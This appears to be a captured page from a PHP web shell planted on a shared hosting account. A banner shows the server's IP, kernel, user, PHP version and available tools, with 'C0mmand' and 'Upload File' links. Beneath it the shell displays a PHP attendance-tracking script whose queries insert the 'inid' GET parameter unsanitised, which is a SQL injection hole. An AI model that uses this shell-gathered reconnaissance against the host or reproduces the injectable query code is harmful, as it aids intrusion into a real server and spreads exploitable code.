|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// print_r($_GET);
// print_r($_POST);
// $userAnswer =z $_POST['name'];
// echo json_encode($userAnswer);
// $DateAndTime = date('m-d-Y h:i:s a', time());
// echo "The current date and time are $DateAndTime.";
$date_heure_creation = date('d-m-Y h:i:s', time());
$date_heure_fin_tach = date('d-m-Y h:i:s', time());
// echo "The current date and time are $DateAndTimee.";
// exit() ;
// if(!empty($_POST))
// {
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
// exit();
// }
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// if(isset($_GET['inid'])){
// $connections=mysqli_connect("localhost",'root','','tables') or die('query failed');
// $insert_id=$_GET['inid'];
// $insert_data=mysqli_query($connections,"SELECT * FROM table_1 where id_table_1='$insert_id'") or die('query failed');
// $data_table_1=mysqli_fetch_assoc($insert_data);
// $data_table_1=$data_table_1['id_table_1'];
// $insert_data_table=mysqli_query($connections,"INSERT INTO table_2(id_table_1) values('$data_table_1');");
$insert_id=$_GET['inid'];
$salarie_id =$_GET['inid'];
$insert_data=dbi_query("SELECT * FROM table_1 where id_table_1='$insert_id'") ;
$data_table_1=dbi_fetch_row($insert_data);
$data_table_1=$data_table_1['id_table_1'];
$insert_data_table=dbi_query("INSERT INTO table_2(id_table_1) values('$insert_id');");
$date_heure_creation = date('Y-m-d h:i:s', time());
$date_pointage_format = date('Ymd');
dbi_query("INSERT INTO `controle_pointage` (`id_controle_pointage`, `date_controle`, `date_pointage`, `salarie_id`, `date_pointage_format`) VALUES (NULL, '$date_heure_creation', '', '$salarie_id', '$date_pointage_format')") ;
// }
?>